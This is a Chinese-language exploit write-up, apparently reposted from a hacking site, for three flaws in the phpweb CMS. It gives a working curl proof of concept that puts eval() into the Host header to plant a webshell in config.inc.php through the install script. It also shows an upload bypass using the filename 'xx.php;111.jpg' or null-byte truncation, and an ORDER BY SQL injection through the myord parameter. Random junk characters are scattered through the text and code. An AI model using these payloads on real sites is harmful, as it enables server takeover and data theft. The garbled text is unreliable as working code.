注入:# F: b+ x4 J# }+ o2 N" u6 o: k5 p. h
+ ^. m {, B- }& q! y
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
8 ?' o/ ?8 c( z7 {8 b
; V9 a( o" |' E8 m* c鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件3 j2 F% {1 ~& W: m) H+ W- j
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
1 f3 a0 Y' g+ h, Z3 x
; V& b1 k6 B0 @. n$ y6 v6 p. A虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响& K3 X$ z7 F% C8 h$ m1 |9 U
! Z7 j' P! [( O分析:3 k& D% ?1 W, ?
3 \0 R$ j7 w7 s$ [- C, B 1 u9 {# @0 p$ i" l4 o1 w k
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤7 _0 F V3 z/ Q' Y: J" C
* I; h" l- v& U" {: a9 J9 r
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
# E6 a. `' `' S7 {1 J $filestr=str_replace(" ","",$filestr);5 a( S0 M6 m0 c! _1 {1 H3 P: g
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
F+ Q% w7 @. {5 O1 O6 [% [ $filestr=str_replace("DefaultDbName",$dbname,$filestr);9 [% i& R! ~0 y' w9 |& \
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);2 h, Q8 P" J( v e) G* @
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
P9 @3 c w0 H $filestr=str_replace("DefaultsLan","zh_cn",$filestr);1 K' I& I2 i5 M6 q
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);* ?3 }2 L; ?1 ~! m8 {
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);- [2 S# |* `- I5 m6 b
/ l2 w' A& G% E' y6 ^( T. A fwrite(fopen($ConFile,"w"),$filestr,30000);
/ v% a( w, d1 H/ k$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^" j# Z) l, ]" L" v
! r& _- Y! ?! i- ?
poc:
9 a) T" {& w1 B2 H1 Q' S ( o+ X' }4 G" G6 I& }
?* s2 T/ h# V R# d. f& S% }$ B! s' ^1 a
19 X9 c0 A8 C1 ?* X) g/ u) j( E
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
" u v3 i; c( \ yshell地址: /config.inc.php
5 z5 w% O* r* O! _. j0 i跟之前的 phpcms一样 需要远程数据库
_( } e8 w' _' l- D9 v1 X6 [ ' ^6 P6 e7 P7 w* ^" M
——————————————————–& h6 B9 z9 n' ^* C6 S" E. f# B
上传漏洞(需要进后台):
" x2 z# J8 q+ |漏洞文件: /kedit/upload_cgi/upload.php
2 s" {- S* c; a) T6 e& d9 `6 i* R这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
# u! Q$ `* f0 K/ r/ O . V/ t; a7 L, D% i
# |4 y6 X" B3 s3 I& M! N
<?php& w' }, y) m4 U0 L/ q
define("ROOTPATH", "../../");; [$ U3 R# }! y" P1 L
include(ROOTPATH."includes/admin.inc.php");
, o; W" s: S* L; v6 T NeedAuth(0);
& z% X, ~4 V+ m9 c3 }; Z0 \ 2 E# v- W. F3 W
$dt=date("Ymd",time());2 m& `& Y A6 K# Y
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){ J$ w# H) e* C3 [$ m% P
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);$ H) P4 G' I K4 N5 v
}
: H6 V: n1 E; X. ~3 T 0 J6 u h3 G* {5 V* i, l7 O4 ^
//文件保存目录路径
}3 T. C# {) R+ s9 ^' a( I $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
2 m1 A! q# q* ^ }# q# b( c echo $save_path;
; {4 V) u1 D& Y7 V, O //文件保存目录URL( K- O6 W e4 x- W9 l$ L% t( K5 H
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
" ?/ y U7 B6 ?" d7 S1 u7 B $ e0 J6 `1 p* B [6 {: ]% F8 _
//定义允许上传的文件扩展名, D. X: b: B2 t0 Z) Y
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀9 d4 X' c/ {6 U! M2 A. \3 k
- s/ r* r& a! e+ ?0 i8 [$ ^$ H //最大文件大小9 S1 t/ e6 L2 O7 A, u1 K; y
$max_size = 1000000;7 A6 y# s2 D3 Y5 d5 Z* N3 N
- y h) W1 |# _/ t //更改目录权限
, N* r' u: G4 i$ X! p @mkdir($save_path, 0777);0 |8 M# K" o( a2 ?( a3 ~
' t |- ]0 ~# E2 ~! y0 r% V8 y- G //文件的全部路径
0 f6 d# [: a/ \+ j5 @ $file_path = $save_path.$_POST['fileName']; //保存文件名
0 W+ \4 k1 h) |0 P. Q4 ] 8 r3 A, {$ @, C: ]8 e8 m
//文件URL2 Z/ ^/ |; y8 ]" B c h+ _
$file_url = $save_url.$_POST['fileName'];* }, f) d2 I: i @" d
//有上传文件时: c, \1 @. w# J+ o1 C2 S, z6 X: t9 a
if (empty($_FILES) === false) {
# k, R! {$ {# T& e
. j, Z3 q& b/ l( p6 T9 X- W- } //原文件名
) M' q% T+ s3 v1 F1 h) Y $file_name = $_FILES['fileData']['name'];( a7 [. ?% h4 g! d% G; W
//服务器上临时文件名6 b' L5 x8 R4 H* D) r0 j% S
$tmp_name = $_FILES['fileData']['tmp_name'];
: V8 c( R. n5 H //文件大小
7 e/ C I3 {" s8 d+ h4 o& a+ w2 [ $file_size = $_FILES['fileData']['size'];1 ]$ k$ T. Q/ }
//检查目录+ V* I, U0 u' V E% e
if (@is_dir($save_path) === false) {& _5 z1 p+ V1 t8 y) q8 j2 V
alert("上传目录不存在。");7 h0 u9 a0 `3 |1 Z+ n9 t
}
/ F( I- x# g2 e- a* Z' ~ //检查目录写权限
% Z. z' | T- X7 Z3 A( a4 ~ if (@is_writable($save_path) === false) {! P6 {+ H; v7 C# p1 Z& D' T# T
alert("上传目录没有写权限。");. f8 B `1 E! c$ y) V% V$ ~
}& \) O% i' _1 _% D. L
//检查是否已上传
: w) ~% C' G4 M; H2 F if (@is_uploaded_file($tmp_name) === false) {, |7 r9 `5 ?# C4 k# Y
alert("临时文件可能不是上传文件。");
0 J3 K" a6 h: w0 B4 c# D: @) c }
$ Q, W/ V: z% }, F% ?( G1 D+ M+ d //检查文件大小
7 r, u# E. m6 e1 g# I! I: e$ A% }( Y if ($file_size > $max_size) {
) J; [/ F0 `! F8 W alert("上传文件大小超过限制。");
3 D# L. I. g! i }
+ a4 i7 l$ Z8 x, p% n4 [ //获得文件扩展名4 r* l/ t8 e# ?' d
$temp_arr = explode(".", $_POST['fileName']);: U2 `; R# `2 w/ e
$file_ext = array_pop($temp_arr);8 d: k3 W$ D* r" k9 {+ S
$file_ext = trim($file_ext);
8 ^4 R r- E, h& \- H7 {2 a; f $file_ext = strtolower($file_ext);9 G# e' H E4 h, M
+ y2 z0 h8 e# ^: Q# u/ U9 u //检查扩展名 # `% [, {+ Z5 q2 _# X/ x- X
if (in_array($file_ext, $ext_arr) === false) { : W O, T, e, c# b" V. E
alert("上传文件扩展名是不允许的扩展名。");& N# b4 f' B8 O
}
' c+ l0 _2 {# y/ F
& M2 @, m# j6 _; h //移动文件
6 }' b; e% H0 W7 V' Y5 d //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^! {6 r O: Y+ ^
if (move_uploaded_file($tmp_name, $file_path) === false) {
+ F- h6 u" A0 k& y/ v! s; ` n alert("上传文件失败。");% G/ q$ x5 ^& N, ^0 e
}
+ _9 a, |' B% @. A6 F) R 4 a8 V; z$ k+ L; N
@chmod($file_path,0666);/ T( s3 U: }2 X5 w- b/ `+ O# W
9 `9 G( J; M% v; U4 s7 C
?>
0 l( l) Q7 U' G; u3 x- \* X抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
6 w# r0 F. `4 G+ r3 M6 W 2 u" R& C* C* b) h3 o. R
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过0 v0 X) d/ ^7 G
6 d3 g) w4 D9 U! y1 A; v+ G——————————————————+ e5 ^# C# h( y' ?( S1 K
注入漏洞:
; [4 \- O' ~. N# O' H漏洞文件:search/module/search.php
- y+ i+ j8 ~- r `; }3 S4 h/search/index.php?key=1&myord=1 [sqlinjection]" S; W- x; y& P- ?
) E/ k2 h7 }, ?0 B* [6 H
+ h5 ?' _. g" B
<?php5 F2 L7 l# p# z
// ... 省略 n 行...+ [ \7 Q6 F- P" O& }
//第18行:
: J( I' c6 f$ a9 p" J: n $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响$ S( Z: I' F6 i! c# v$ x' O6 N3 L- D
$page=htmlspecialchars($_GET["page"]);
: c! ^* X% q4 j% D& w3 G* } $myord=htmlspecialchars($_GET["myord"]);
# j v, T# y( f1 ^
( T: U- F* }5 x // ... 省略 n 行...
' H# @; X7 w& g& a4 s* Z% @ $key,$myord 两个参数带入查询! y3 W( O' B# n3 m" I+ F! M O! _' y
//第47行 $key:$ b: ?" t. I" C( B
4 p5 l1 A5 E& H/ i $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
2 D; k8 S& d- L2 E1 r5 F) L8 q : h% K" w3 S2 X9 c) Q7 ~+ v9 R
//第197行 $myord
5 ?5 t3 h: V2 L0 [! r( T4 u $fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入- W6 M. _% A |$ o
9 ^( t4 \/ r7 N
?>- p& ?& b, Z1 P) C& M' R
|